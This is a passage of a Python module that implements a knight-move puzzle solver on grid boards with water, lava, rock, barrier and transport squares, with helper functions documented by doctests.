Logging\nlogging.basicConfig(format='%(levelname)s:%(message)s', level=logging.WARNING)\n\n#%% Constants\n# hard-coded values\nLARGE_INT = 1000000\n# dictionaries\nCHAR_DICT = {'.':0, 'S':1, 'E':2, 'K':3, 'W':4, 'R':5, 'B':6, 'T':7, 'L':8, 'x': 9}\nNUM_DICT  = {value:key for (key, value) in CHAR_DICT.items()}\nCOST_DICT = {'normal': 1, 'transport': 1, 'water': 2, 'lava': 5, 'invalid': LARGE_INT, 'start': 0}\n# boards\nBOARD1 = r\"\"\"\n. . . . . . . .\n. . . . . . . .\n. S . . . . . .\n. . . . . . . .\n. . . . . E . .\n. . . . . . . .\n. . . . . . . .\n. . . . . . . .\n\"\"\"\nBOARD2 = r\"\"\"\n. . . . . . . . B . . . L L L . . . . . . . . . . . . . . . . .\n. . . . . . . . B . . . L L L . . . . . . . . . . . . . . . . .\n. . . . . . . . B . . . L L L . . . L L L . . . . . . . . . . .\n. . . . . . . . B . . . L L L . . L L L . . . R R . . . . . . .\n. . . . . . . . B . . . L L L L L L L L . . . R R . . . . . . .\n. . . . . . . . B . . . L L L L L L . . . . . . . . . . . . . .\n. . . . . . . . B . . . . . . . . . . . . R R . . . . . . . . .\n. . . . . . . . B B . . . . . . . . . . . R R . . . . . . . . .\n. . . . . . . . W B B . . . . . . . . . . . . . . . . . . . . .\n. . . R R . . . W W B B B B B B B B B B . . . . . . . . . . . .\n. . . R R . . . W W . . . . . . . . . B . . . . . . . . . . . .\n. . . . . . . . W W . . . . . . . . . B . . . . . . T . . . . .\n. . . W W W W W W W . . . . . . . . . B . . . . . . . . . . . .\n. . . W W W W W W W . . . . . . . . . B . . R R . . . . . . . .\n. . . W W . . . . . . . . . . B B B B B . . R R . W W W W W W W\n. . . W W . . . . . . . . . . B . . . . . . . . . W . . . . . .\nW W W W . . . . . . . . . . . B . . . W W W W W W W . . . . . .\n. . . W W W W W W W . . . . . B . . . . . . . . . . . . B B B B\n. . . W W W W W W W . . . . . B B B . . . . . . . . . . B . . .\n. . . W W W W W W W . . . . . . . B W W W W W W B B B B B . . .\n. . . W W W W W W W . . . . . . . B W W W W W W B . . . . . . .\n. . . . . . . . . . . B B B . . . . . . . . . . B B . . . . . .\n. . . . . R R . . . . B . . . . . . . . . . . . . B . . . . . .\n. . . . . R R . . . . B . . . . . . . . . . . . . B . T . . . .\n. . . . . . . . . . . B . . . . . R R . . . . . . B . . . . . .\n. . . . . . . . . . . B . . . . . R R . . . . . . . . . . . . .\n. . . . . . . . . . . B . . . . . . . . . . R R . . . . . . . .\n. . . . . . . . . . . B . . . . . . . . . . R R . . . . . . . .\n. . . . . . . . . . . B . . . . . . . . . . . . . . . . . . . .\n. . . . . . . . . . . B . . . R R . . . . . . . . . . . . . . .\n. . . . . . . . . . . B . . . R R . . . . . . . . . . . . . . .\n. . . . . . . . . . . B . . . . . . . . . . . . . . . . . . . .\n\"\"\"\n# moves\n#MOVES = frozenset({-4, -3, -2, -1, 1, 2, 3, 4})\nMOVES = [-4, -3, -2, -1, 1, 2, 3, 4]\n#MOVES = frozenset({-4, -3, -2, -1, 1, 2, 3, 4, -5, 5, -6, 6, -7, 7, -8, 8})\n# Move design is based on a first direction step of two moves, followed by a single step to the\n# left or right of the first one.\n# Note for chess nerds: The move is two steps and then one.  With no obstructions, it can be thought\n# of as one and then two, but with obstructions, this counts as a different move and is not allowed.\n# The number represents the cardinal direction of the move: 1=North, 2=East, 3=South, 4=West\n# The sign of the number represents whether the second step is left or right (positive is clockwise)\n# Therefore:\n#  Move -1       Move +1        Move -2      Move +2       Move -3       Move +3       Move -4       Move +4\n# . E x . .  |  . . x E .  |  . . . . .  |  . . . . .  |  . . . . .  |  . . . . .  |  . . . . .  |  . . . . .\n# . . x . .  |  . . x . .  |  . . . . E  |  . . . . .  |  . . . . .  |  . . . . .  |  . . . . .  |  E . . . .\n# . . S . .  |  . . S . .  |  . . S x x  |  . . S x x  |  . . S . .  |  . . S . .  |  x x S . .  |  x x S . .\n# . . . . .  |  . . . . .  |  . . . . .  |  . . . . E  |  . . x . .  |  . . x . .  |  E . . . .  |  . . . . .\n# . . . . .  |  . . . . .  |  . . . . .  |  . . . . .  |  . . x E .  |  . E x . .  |  . . . . .  |  . . . . .\n\n# Optional extended set?\n#  Move -5       Move +5        Move -6      Move +6       Move -7       Move +7       Move -8       Move +8\n# . E . . .  |  . . . E .  |  . . . . .  |  . . . . .  |  . . . . .  |  . . . . .  |  . . . . .  |  . . . . .\n# . x . . .  |  . . . x .  |  . . x x E  |  . . . . .  |  . . . . .  |  . . . . .  |  . . . . .  |  E x x . .\n# . x S . .  |  . . S x .  |  . . S . .  |  . . S . .  |  . . S x .  |  . x S . .  |  . . S . .  |  . . S . .\n# . . . . .  |  . . . . .  |  . . . . .  |  . . x x E  |  . . . x .  |  . x . . .  |  E x x . .  |  . . . . .\n# . . . . .  |  . . . . .  |  . . . . .  |  . . . . .  |  . . . E .  |  . E . . .  |  . . . . .  |  . . . . .\n\n#%% Classes - Piece\n@unique\nclass Piece(IntEnum):\n    r\"\"\"Enumerator for all the possible types of squares within the board, including start and end positions.\"\"\"\n    null      = 0 # Empty square that has never been used\n    start     = 1 # Original starting position\n    final     = 2 # Final ending position\n    current   = 3 # Current knight position\n    water     = 4 # water, costs two moves to land on\n    rock      = 5 # rock, can be jumped across, but not landed on\n    barrier   = 6 # barrier, cannot be landed on or moved across\n    transport = 7 # transport to the other transport, can only be exactly 0 or 2 on the board\n    lava      = 8 # lava, costs 5 moves to land on\n    visited   = 9 # previously visited square that cannot be used again\n\n#%% Classes - Move\n@unique\nclass Move(IntEnum):\n    r\"\"\"Enumerator for all the cost outcomes for moving a piece.\"\"\"\n    off_board = -2\n    blocked   = -1\n    visited   = 0\n    normal    = 1\n    transport = 2\n    water     = 3\n    lava      = 4\n    winning   = 5\n\n#%% alternates for speed\nPiece2 = {x.name: x.value for x in Piece}\nMove2  = {x.name: x.value for x in Move}\n\n#%% _board_to_costs\ndef _board_to_costs(board):\n    r\"\"\"\n    Translates a board to the associated costs for landing on any square within the board.\n\n    Parameters\n    ----------\n    board : 2D ndarray of int\n        Board layout\n\n    Returns\n    -------\n    costs : 2D ndarray of int\n        Costs for each square on the board layout\n\n    Notes\n    -----\n    #.  Written by David C. Stauffer in September 2015.\n\n    Examples\n    --------\n    >>> from dstauffman2.games.knight import _board_to_costs, Piece\n    >>> import numpy as np\n    >>> board = np.full((3, 3), Piece.null, dtype=int)\n    >>> board[0, 0] = Piece.water\n    >>> board[1, 1] = Piece.start\n    >>> board[2, 2] = Piece.barrier\n    >>> costs = _board_to_costs(board)\n    >>> print(costs) # doctest: +NORMALIZE_WHITESPACE\n    [[      2       1       1]\n     [      1       0       1]\n     [      1       1 1000000]]\n\n    \"\"\"\n    costs = np.full(board.shape, COST_DICT['invalid'], dtype=int)\n    for i in range(costs.shape[0]):\n        for j in range(costs.shape[1]):\n            this_piece = board[i, j]\n            if this_piece in {Piece.rock, Piece.barrier}:\n                continue\n            elif this_piece in {Piece.null, Piece.final}:\n                costs[i, j] = COST_DICT['normal']\n            elif this_piece == Piece.start:\n                costs[i, j] = COST_DICT['start']\n            elif this_piece == Piece.transport:\n                costs[i, j] = COST_DICT['transport']\n            elif this_piece == Piece.water:\n                costs[i, j] = COST_DICT['water']\n            elif this_piece == Piece.lava:\n                costs[i, j] = COST_DICT['lava']\n            else:\n                raise ValueError('Cannot convert piece \"{}\" to a cost.'.format(this_piece))\n    return costs\n\n#%% _get_transports\ndef _get_transports(board):\n    r\"\"\"\n    Gets the locations of all the transports.\n\n    Parameters\n    ----------\n    board : 2D ndarray of int\n        Board layout\n\n    Returns\n    -------\n    transports : 2 element list of 1x2 tuples\n        Location of the transports\n\n    Notes\n    -----\n    #.  Written by David C. Stauffer in November 2015.\n\n    Examples\n    --------\n    >>> from dstauffman2.games.knight import _get_transports, Piece\n    >>> import numpy as np\n    >>> board = np.full((3, 3), Piece.null, dtype=int)\n    >>> board[0, 1] = Piece.transport\n    >>> board[2, 2] = Piece.transport\n    >>> transport = _get_transports(board)\n    >>> print(transport)\n    [(0, 1), (2, 2)]\n\n\n    \"\"\"\n    if np.any(board == Piece.transport):\n        ix = np.nonzero(board == Piece.transport)\n        assert len(ix) == 2, 'Must be a 2D board.'\n        assert len(ix[0]) == 0 or len(ix[0]) == 2, 'There must be 0 or exactly 2 transports.'\n        transports = [(ix[0][i], ix[1][i]) for i in range(len(ix[0]))]\n        # TODO: use this instead of tuples\n        # transports = np.argwhere(board == Piece.transport)\n    else:\n        transports = None\n    return transports\n\n#%% _get_current_position\ndef _get_current_position(board):\n    r\"\"\"\n    Gets the current position of the knight.\n\n    Parameters\n    ----------\n    board : 2D ndarray of int\n        Board layout\n\n    Returns\n    -------\n    x : int\n        Current X position\n    y : int\n        Current Y position\n\n    Notes\n    -----\n    #.  Written by David C. Stauffer in September 2015.\n\n    Examples\n    --------\n    >>> from dstauffman2.games.knight import _get_current_position, Piece\n    >>> import numpy as np\n    >>> board = np.zeros((5,5), dtype=int)\n    >>> board[1,4] = Piece.current\n    >>> (x, y) = _get_current_position(board)\n    >>> print(x, y)\n    1 4\n\n    \"\"\"\n    # find position\n    ix = np.nonzero(board == Piece2['current'])\n    # alias X and Y locations\n    x = ix[0]\n    y = ix[1]\n    # check that only exactly one current position was found, and if not, print the messed up board\n    count = np.count_nonzero(board == Piece2['current'])\n    is_valid = count == 1\n    if not is_valid:\n        print_board(board)\n    assert is_valid, 'Only exactly one current position may be found, not {}.'.format(count)\n    # otherwise if all is good, return the location\n    return (x[0], y[0])\n\n#%% _get_new_position\ndef _get_new_position(x, y, move, transports):\n    r\"\"\"\n    Gets the new position of the knight after making the desired move.\n\n    Parameters\n    ----------\n    x : int\n        Current X position\n    y : int\n        Current Y position\n    move : int\n        Move to be performed\n\n    Returns\n    -------\n    pos1 : (x,y) tuple\n        X and Y positions for step 1 in the move\n    pos2 : (x,y) tuple\n        X and Y positions for step 2 in the move\n    pos3 : (x,y) tuple\n        X and Y positions for step 3 in the move\n\n    Notes\n    -----\n    #.  Written by David C. Stauffer in September 2015.\n\n    Examples\n    --------\n    >>> from dstauffman2.games.knight import _get_new_position\n    >>> x = 2\n    >>> y = 3\n    >>> move = 2 # (2 right and 1 down)\n    >>> transports = None\n    >>> (pos1, pos2, pos3) = _get_new_position(x, y, move, transports)\n    >>> print(pos1, pos2, pos3)\n    (2, 4) (2, 5) (3, 5)\n\n    \"\"\"\n    # move the piece\n    if move == -1:\n        pos1 = (x-1, y)\n        pos2 = (x-2, y)\n        pos3 = (x-2, y-1)\n    elif move == 1:\n        pos1 = (x-1, y)\n        pos2 = (x-2, y)\n        pos3 = (x-2, y+1)\n    elif move == -2:\n        pos1 = (x,   y+1)\n        pos2 = (x,   y+2)\n        pos3 = (x-1, y+2)\n    elif move == 2:\n        pos1 = (x,   y+1)\n        pos2 = (x,   y+2)\n        pos3 = (x+1, y+2)\n    elif move == -3:\n        pos1 = (x+1, y)\n        pos2 = (x+2, y)\n        pos3 = (x+2, y+1)\n    elif move == 3:\n        pos1 = (x+1, y)\n        pos2 = (x+2, y)\n        pos3 = (x+2, y-1)\n    elif move == -4:\n        pos1 = (x,   y-1)\n        pos2 = (x,   y-2)\n        pos3 = (x+1, y-2)\n    elif move == 4:\n        pos1 = (x,   y-1)\n        pos2 = (x,   y-2)\n        pos3 = (x-1, y-2)\n    elif move in {-5, 5, -6, 6, -7, 7, -8, 8}:\n        raise ValueError('Extended moves are not yet implemented.')\n    else:\n        raise ValueError('Invalid move of \"{}\"'.format(move))\n    # handle landing on a transport\n    if transports is not None:\n        assert len(transports) == 2, 'There must be exactly 0 or 2 transports.'\n        if pos3 in transports:\n            if pos3 == transports[0]:\n                pos3 = transports[1]\n            elif pos3 == transports[1]: #pragma: no branch\n                pos3 = transports[0]\n    # return the whole set of stuff\n    return (pos1, pos2, pos3)\n\n#%% _check_board_boundaries\ndef _check_board_boundaries(x, y, xmax, ymax):\n    r\"\"\"\n    Checks that a given position is on the board.\n\n    Parameters\n    ----------\n    x : int\n        Current X position\n    y : int\n        Current Y position\n    xmax : int\n        Current board X maximum\n    ymax : int\n        Current board Y maximum\n\n    Returns\n    -------\n    is_valid : bool\n        Whether position is valid (defined as on the board)\n\n    Notes\n    -----\n    #.  Written by David C. Stauffer in September 2015.\n    #.  This current assumes a rectangular board, but is a separate function in case that ever gets\n        more complicated.\n\n    Examples\n    --------\n    >>> from dstauffman2.games.knight import _check_board_boundaries\n    >>> x = 2\n    >>> y = 5\n    >>> xmax = 7\n    >>> ymax = 7\n    >>> is_valid = _check_board_boundaries(x, y, xmax, ymax)\n    >>> print(is_valid)\n    True\n\n    \"\"\"\n    # determine if X position is valid\n    x_valid = 0 <= x <= xmax\n    # determine if Y position is valid\n    y_valid = 0 <= y <= ymax\n    # combine results and return\n    is_valid = x_valid and y_valid\n    return is_valid\n\n#%% _classify_move\ndef _classify_move(board, move, transports, start_x, start_y):\n    r\"\"\"\n    Determines if the desired move is valid or not, and what type of move/cost it would have.\n\n    Parameters\n    ----------\n    board : 2D ndarray of int\n        Board layout\n    move : int\n        Move to be performed\n    transports : 2 element list of 1x2 tuples\n        Location of the transports\n    start_x : int\n        Starting X location of the knight\n    start_y : int\n        Starting Y location of the knight\n\n    Returns\n    -------\n    move_type : class Move\n        Type of move to be performed\n\n    Notes\n    -----\n    #.  Written by David C. Stauffer in September 2015.\n\n    Examples\n    --------\n    >>> from dstauffman2.games.knight import _classify_move, Piece\n    >>> import numpy as np\n    >>> board = np.zeros((2,5), dtype=int)\n    >>> move = 2 # (2 right and 1 down)\n    >>> transports = None\n    >>> start_x = 0\n    >>> start_y = 2\n    >>> board[start_x, start_y] = Piece.current\n    >>> move_type = _classify_move(board, move, transports, start_x, start_y)\n    >>> print(move_type)\n    1\n\n    \"\"\"\n    # find the size of the board\n    xmax = board.shape[0] - 1\n    ymax = board.shape[1] - 1\n    # find the traversal for the desired move\n    (pos1, pos2, pos3) = _get_new_position(start_x, start_y, move, transports)\n    # check that the final and intermediate positions were all on the board\n    valid_moves = np.array([_check_board_boundaries(pos[0], pos[1], xmax, ymax) for pos in (pos1, pos2, pos3)])\n    if use_cython:\n        valid_moves2 = np.array([_check_board_boundaries2(pos[0], pos[1], xmax, ymax) for pos in (pos1, pos2, pos3)])\n        np.testing.assert_array_equal(valid_moves, valid_moves2)\n    if np.any(~valid_moves):\n        return Move2['off_board']\n    # get the values for each position\n    p1 = board[pos1[0], pos1[1]]\n    p2 = board[pos2[0], pos2[1]]\n    p3 = board[pos3[0], pos3[1]]\n    # check for error conditions\n    if p3 in {Piece2['start'], Piece2['current']}:\n        raise ValueError(\"The piece should never be able to move to it's current or starting position.\") # pragma: no cover\n    # check for blocked conditions\n    if p3 in {Piece2['rock'], Piece2['barrier']} or p1 == Piece2['barrier'] or p2 == Piece2['barrier']:\n        return Move2['blocked']\n    # remaining moves are valid, determine type\n    if p3 == Piece2['visited']:\n        move_type = Move2['visited']\n    elif p3 == Piece2['null']:\n        move_type = Move2['normal']\n    elif p3 == Piece2['final']:\n        move_type = Move2['winning']\n    elif p3 == Piece2['transport']:\n        move_type = Move2['transport']\n    elif p3 == Piece2['water']:\n        move_type = Move2['water']\n    elif p3 == Piece2['lava']:\n        move_type = Move2['lava']\n    else:\n        raise ValueError('Unexpected piece type \"{}\"'.format(p3)) # pragma: no cover\n    return move_type\n\n#%% _update_board\ndef _update_board(board, move, costs, transports, start_x, start_y):\n    r\"\"\"\n    Updates the new board based on the desired move.\n\n    Parameters\n    ----------\n    board : 2D ndarray of int\n        Board layout\n    move : int\n        Move to be performed\n    costs : 2D ndarray of int\n        Costs for each square on the board layout\n    transports : 2 element list of 1x2 tuples\n        Location of the transports\n    start_x : int\n        Starting X location of the knight\n    start_y : int\n        Starting Y location of the knight\n\n    Returns\n    -------\n    cost : int\n        Cost of the specified move type\n    is_repeat : bool\n        Whether the last move was a repeated visit or not\n    new_x : int\n        New X location of the knight\n    new_y : int\n        New Y location of the knight\n\n    Notes\n    -----\n    #.  Written by David C. Stauffer in September 2015\n    #.  Modified by David C. Stauffer in November 2015 to include new position information.\n    #.  Modifies `board` in-place.\n\n    Examples\n    --------\n    >>> from dstauffman2.games.knight import _update_board, print_board, Piece\n    >>> import numpy as np\n    >>> board = np.zeros((2, 5), dtype=int)\n    >>> move = 2 # (2 right and 1 down)\n    >>> costs = np.ones(board.shape, dtype=int)\n    >>> transports = None\n    >>> start_x = 0\n    >>> start_y = 2\n    >>> board[start_x, start_y] = Piece.current\n    >>> (cost, is_repeat, new_x, new_y) = _update_board(board, move, costs, transports, start_x, start_y)\n    >>> print(cost)\n    1\n\n    >>> print(is_repeat)\n    False\n\n    >>> print_board(board)\n    . . x . .\n    . . . . K\n\n    \"\"\"\n    # initialize outputs\n    cost      = LARGE_INT\n    is_repeat = False\n    # determine the move type\n    move_type = _classify_move(board, move, transports, start_x, start_y)\n    # if valid, apply the move\n    if move_type >= 0:\n        # set the current position to visited\n        board[start_x, start_y] = Piece.visited\n        # get the new position\n        (_, _, (new_x, new_y)) = _get_new_position(start_x, start_y, move, transports)\n        # set the new position to current\n        board[new_x, new_y] = Piece.current\n        # determine what the cost was\n        cost = costs[new_x, new_y]\n        if move_type == Move2['winning']:\n            cost = -cost\n        elif move_type == Move2['visited']:\n            is_repeat = True\n    else:\n        new_x = start_x\n        new_y = start_y\n    return (cost, is_repeat, new_x, new_y)\n\n#%% _undo_move\ndef _undo_move(board, last_move, original_board, transports, start_x, start_y):\n    r\"\"\"\n    Undoes the last move on the board.\n\n    Parameters\n    ----------\n    board : 2D ndarray of int\n        Board layout\n    last_move : int\n        Last move that was previously performed\n    original_board : 2D ndarray of int\n        Original board layout before starting solver\n    transports : 2 element list of 1x2 tuples\n        Location of the transports\n    start_x : int\n        Starting X location of the knight\n    start_y : int\n        Starting Y location of the knight\n\n\n    Notes\n    -----\n    #.  Written by David C. Stauffer in September 2015.\n    #.  Modifies `board` in-place.\n\n    Examples\n    --------\n    >>> from dstauffman2.games.knight import _undo_move, print_board, Piece\n    >>> import numpy as np\n    >>> board = np.zeros((2, 5), dtype=int)\n    >>> board[0, 2] = Piece.visited\n    >>> last_move = 2 # (2 right and 1 down)\n    >>> original_board = np.zeros((2, 5), dtype=int)\n    >>> original_board[0, 2] = Piece.start\n    >>> transports = None\n    >>> start_x = 1\n    >>> start_y = 4\n    >>> board[start_x, start_y] = Piece.current\n    >>> print_board(board)\n    . . x . .\n    . . . . K\n\n    >>> _undo_move(board, last_move, original_board, transports, start_x, start_y)\n    >>> print_board(board)\n    . . K . .\n    . . . . .\n\n    \"\"\"\n    # set the current position back to it's original piece\n    if original_board[start_x, start_y] == Piece2['start']:\n        board[start_x, start_y] = Piece2['null']\n    else:\n        board[start_x, start_y] = original_board[start_x, start_y]\n    # find the inverse move\n    new_move = _get_move_inverse(last_move)\n    # if on a transport, then undo travel it first\n    if transports is not None:\n        assert len(transports) == 2, 'There must be exactly 0 or 2 transports.'\n        if (start_x, start_y) in transports:\n            if (start_x, start_y) == transports[0]:\n                (start_x, start_y) = transports[1]\n            elif (start_x, start_y) == transports[1]: # pragma: no branch\n                (start_x, start_y) = transports[0]\n    # get the new position (without traversing transports)\n    (_, _, (new_x, new_y)) = _get_new_position(start_x, start_y, new_move, transports=None)\n    # set the new position to current\n    board[new_x, new_y] = Piece2['current']\n\n#%% _get_move_inverse\ndef _get_move_inverse(move):\n    r\"\"\"\n    Gets the inverse move to go back where you were.\n        -/+1 <-> -/+3\n        -/+2 <-> -/+4\n\n    Parameters\n    ----------\n    move : int\n        Move to be performed\n\n    Returns\n    -------\n    inv_move : int\n        Move that will undo the last one\n\n    Notes\n    -----\n    #.  Written by David C. Stauffer in September 2015.\n\n    Examples\n    --------\n    >>> from dstauffman2.games.knight import _get_move_inverse\n    >>> print(_get_move_inverse(-1))\n    -3\n    >>> print(_get_move_inverse(-3))\n    -1\n    >>> print(_get_move_inverse(2))\n    4\n    >>> print(_get_move_inverse(4))\n    2\n\n    \"\"\"\n    assert move in MOVES, 'Invalid move.'\n    inv_move = np.sign(move) * (np.mod(np.abs(move) + 1, 4) + 1)\n    return inv_move\n\n#%% _predict_cost\ndef _predict_cost(board):\n    r\"\"\"\n    Predicts the cost from all locations on the board to the final square.\n\n    Parameters\n    ----------\n    board : 2D ndarray of int\n        Board layout\n\n    Returns\n    -------\n    costs : 2D ndarray of float\n        Predicted cost to finish\n\n    Notes\n    -----\n    #.  Written by David C. Stauffer in October 2015.\n\n    Examples\n    --------\n    >>> from dstauffman2.games.knight import _predict_cost, Piece\n    >>> import numpy as np\n    >>> board = np.zeros((2,5), dtype=int)\n    >>> board[0, 0] = Piece.start\n    >>> board[0, 4] = Piece.final\n    >>> costs = _predict_cost(board)\n    >>> print(costs) # doctest: +NORMALIZE_WHITESPACE\n    [[2.   1.5  1.   0.5  0. ]\n     [2.   1.5  1.   1.   0.5]]\n\n    \"\"\"\n    # find the final position\n    temp = np.nonzero(board == Piece.final)\n    x_fin = temp[0][0]\n    y_fin = temp[1][0]\n    # build a grid of points to evaluate\n    (X, Y) = np.meshgrid(np.arange(board.shape[0]), np.arange(board.shape[1]), indexing='ij')\n    x_dist = np.abs(X - x_fin)\n    y_dist = np.abs(Y - y_fin)\n    costs = np.where(x_dist > y_dist, np.maximum(x_dist / 2, y_dist), np.maximum(x_dist, y_dist / 2))\n    return costs\n\n#%% _sort_best_moves\ndef _sort_best_moves(board, moves, costs, transports, start_x, start_y):\n    r\"\"\"\n    Sorts the given moves into the most likely best order based on a predicted cost\n\n    Parameters\n    ----------\n    board : 2D ndarray of int\n        Board layout\n    moves : list of int\n        Possible moves to check\n    costs : 2D ndarray of float\n        Predicted cost to finish\n    transports : 2 element list of 1x2 tuples\n        Location of the transports\n    start_x : int\n        Starting X location of the knight\n    start_y : int\n        Starting Y location of the knight\n\n    Returns\n    -------\n    sorted_moves : list of int\n        Moves sorted by most likely\n\n    Notes\n    -----\n    #.  Written by David C. Stauffer in October 2015.\n\n    Examples\n    --------\n    >>> from dstauffman2.games.knight import _sort_best_moves, Piece, MOVES, _predict_cost\n    >>> import numpy as np\n    >>> board = np.zeros((2,5), dtype=int)\n    >>> board[0, 0] = Piece.current\n    >>> board[0, 4] = Piece.final\n    >>> moves = MOVES\n    >>> costs = _predict_cost(board)\n    >>> transports = None\n    >>> start_x = 0\n    >>> start_y = 0\n    >>> sorted_moves = _sort_best_moves(board, moves, costs, transports, start_x, start_y)\n    >>> print(sorted_moves)\n    [2]\n\n    \"\"\"\n    # initialize the costs\n    pred_costs = np.full(len(moves), np.nan, dtype=float)\n    pred_costs.fill(np.nan)\n    for (ix, move) in enumerate(moves):\n        (_, _, (new_x, new_y)) = _get_new_position(start_x, start_y, move, transports)\n        if new_x >= 0 and new_y >= 0:\n            try:\n                this_cost = costs[new_x, new_y]\n                pred_costs[ix] = this_cost\n            except IndexError:\n                pass\n    sorted_ix = pred_costs.argsort()\n    sorted_moves = [moves[i] for i in sorted_ix if not np.isnan(pred_costs[i])]\n    return sorted_moves\n\n#%% print_baord\ndef print_board(board):\n    r\"\"\"\n    Prints the current board position to the console window.\n\n    Parameters\n    ----------\n    board : 2D ndarray of int\n        Board layout\n\n    Notes\n    -----\n    #.  Written by David C. Stauffer in September 2015.\n\n    Examples\n    --------\n    >>> from dstauffman2.games.knight import print_board, Piece\n    >>> import numpy as np\n    >>> board = np.zeros((5,5), dtype=int)\n    >>> board[2,2] = Piece.current\n    >>> print_board(board)\n    . . . . .\n    . . . . .\n    . . K . .\n    . . . . .\n    . . . . .\n\n    \"\"\"\n    # get the board shape\n    (rows, cols) = board.shape\n    # loop through pieces\n    for i in range(rows):\n        for j in range(cols):\n            # print each piece in the row without a line continuation\n            pad = ' ' if j < cols-1 else ''\n            print(NUM_DICT[board[i, j]] + pad, end='')\n        # add the line continuation at the end of each row\n        print('')\n\n#%% char_board_to_nums\ndef char_board_to_nums(char_board):\n    r\"\"\"\n    Converts the original board from a character array into a numpy ndarray of int.\n\n    Parameters\n    ----------\n    char_board : str\n        Board as an original character array, where each line is a row of the board\n\n    Returns\n    -------\n    board : 2D ndarray of int\n        Board layout\n\n    Notes\n    -----\n    #.  Written by David C. Stauffer in September 2015.\n\n    Examples\n    --------\n    >>> from dstauffman2.games.knight import char_board_to_nums\n    >>> char_board = '. . S . .\\n. . . . E'\n    >>> board = char_board_to_nums(char_board)\n    >>> print(board)\n    [[0 0 1 0 0]\n     [0 0 0 0 2]]\n\n    \"\"\"\n    # convert to rows of lines\n    lines = char_board.split('\\n')\n    # remove any empty rows\n    lines = [this_line.split(' ') for this_line in lines if this_line]\n    # get the size of the board\n    rows = len(lines)\n    cols = len(lines[0])\n    # preallocate null board\n    board = np.zeros((rows, cols), dtype=int)\n    # loop through and store all pieces and integer equivalents\n    for i in range(rows):\n        for j in range(cols):\n            board[i, j] = CHAR_DICT[lines[i][j]]\n    return board\n\n#%% check_valid_sequence\ndef check_valid_sequence(board, moves, print_status=False, allow_repeats=False):\n    r\"\"\"\n    Checks that the list of moves is a valid sequence to go from start to final position.\n\n    Parameters\n    ----------\n    board : 2D ndarray of int\n        Board layout\n    moves : ndarray of int\n        Moves to be performed\n    print_status : bool, optional\n        Whether to print the board after each move is made, default is False\n    allow_repeats : bool, optional\n        Whether to allow repeat visits to the same square\n\n    Returns\n    -------\n    is_valid : bool\n        Whether the sequence is valid or not.\n\n    Notes\n    -----\n    #.  Written by David C. Stauffer in September 2015.\n\n    Examples\n    --------\n    >>> from dstauffman2.games.knight import check_valid_sequence, Piece, _board_to_costs\n    >>> import numpy as np\n    >>> board = np.zeros((3, 5), dtype=int)\n    >>> board[0, 0] = Piece.start\n    >>> board[2, 4] = Piece.final\n    >>> moves = [2, 2]\n    >>> is_valid = check_valid_sequence(board, moves)\n    >>> print(is_valid)\n    True\n\n    \"\"\"\n    # initialize output\n    is_valid = True\n    is_done  = False\n    # determine the costs\n    costs = _board_to_costs(board)\n    # find transports\n    transports = _get_transports(board)\n    # create internal board for calculations\n    temp_board = board.copy()\n    # set the current position to the start\n    temp_board[temp_board == Piece.start] = Piece.current\n    (x, y) = _get_current_position(temp_board)\n    # check that the board has a final goal\n    if not np.any(temp_board == Piece.final):\n        raise ValueError('The board does not have a finishing location.')\n    for (i, this_move) in enumerate(moves):\n        # update the board and determine the cost\n        (cost, is_repeat, x, y) = _update_board(temp_board, this_move, costs, transports, x, y)\n        # if cost was zero, then the move was invalid\n        if cost == COST_DICT['invalid']:\n            is_valid = False\n            break\n        # check for repeated conditions\n        if not allow_repeats and is_repeat:\n            is_valid = False\n            if print_status:\n                print('No repeats allowed.')\n            break\n        # check for winning conditions (based on negative cost value)\n        if cost < 0:\n            is_done = True\n            if i < len(moves)-1:\n                raise ValueError('Sequence finished, but then kept going.')\n    if print_status:\n        if is_valid:\n            if is_done:\n                print('Sequence is valid and finished the puzzle.')\n            else:\n                print('Sequence is valid, but did not finish the puzzle.')\n        else:\n            print('Sequence is not valid.')\n    return is_valid\n\n#%% print_sequence\ndef print_sequence(board, moves):\n    r\"\"\"\n    Prints the every board position for the given move sequence.\n\n    Parameters\n    ----------\n    board : 2D ndarray of int\n        Board layout\n    moves : ndarray of int\n        Moves to be performed\n\n    Notes\n    -----\n    #.  Written by David C. Stauffer in September 2015.\n\n    Examples\n    --------\n    >>> from dstauffman2.games.knight import print_sequence, Piece\n    >>> import numpy as np\n    >>> board = np.zeros((3, 5), dtype=int)\n    >>> board[0, 0] = Piece.start\n    >>> board[2, 4] = Piece.final\n    >>> moves = [2, 2]\n    >>> print_sequence(board, moves)\n    Starting position:\n    S . . . .\n    . . . . .\n    . . . . E\n    <BLANKLINE>\n    After move 1, cost: 1\n    x . . . .\n    . . K . .\n    . . . . E\n    <BLANKLINE>\n    After move 2, cost: 2\n    x . . . .\n    . . x . .\n    . . . . K\n\n    \"\"\"\n    # determine costs\n    costs = _board_to_costs(board)\n    # find transports\n    transports = _get_transports(board)\n    # create internal board for calculations\n    temp_board = board.copy()\n    print('Starting position:')\n    print_board(temp_board)\n    # set the current position to the start\n    temp_board[temp_board == Piece.start] = Piece.current\n    (x, y) = _get_current_position(temp_board)\n    # initialize total costs\n    total_cost = 0\n    # loop through move sequence\n    for (i, this_move) in enumerate(moves):\n        # update board\n        (cost, _, x, y) = _update_board(temp_board, this_move, costs, transports, x, y)\n        if cost != COST_DICT['invalid']:\n            # update total costs\n            total_cost += abs(cost)\n            # print header\n            print('\\nAfter move {}, cost: {}'.format(i+1, total_cost))\n            # print new board\n            print_board(temp_board)\n        else:\n            raise ValueError('Bad sequence.')\n\n#%% _initialize_data\ndef _initialize_data(board):\n    r\"\"\"\n    Initializers the internal data structure for use in the solver.\n\n    Parameters\n    ----------\n    board : 2D ndarray of int\n        Board layout\n\n    Returns\n    -------\n    data : dict\n        Data dictionary for use in the solver.  Contains the following keys:\n            all_boards\n            all_moves\n            best_costs\n            best_moves\n            costs\n            current_cost\n            final_loc\n            is_solved\n            moves\n            original_board\n            pred_costs\n\n    Notes\n    -----\n    #.  Written by David C. Stauffer in November 2015.\n\n    Examples\n    --------\n    >>> from dstauffman2.games.knight import _initialize_data, Piece\n    >>> import numpy as np\n    >>> board = np.zeros((2,5), dtype=int)\n    >>> board[0, 0] = Piece.start\n    >>> board[0, 4] = Piece.final\n    >>> data = _initialize_data(board)\n    >>> print(sorted(data)[:6])\n    ['all_boards', 'all_moves', 'best_costs', 'best_moves', 'costs', 'current_cost']\n\n    >>> print(sorted(data)[6:])\n    ['final_loc', 'is_solved', 'moves', 'original_board', 'pred_costs', 'transports']\n\n    \"\"\"\n    # initialize dictionary\n    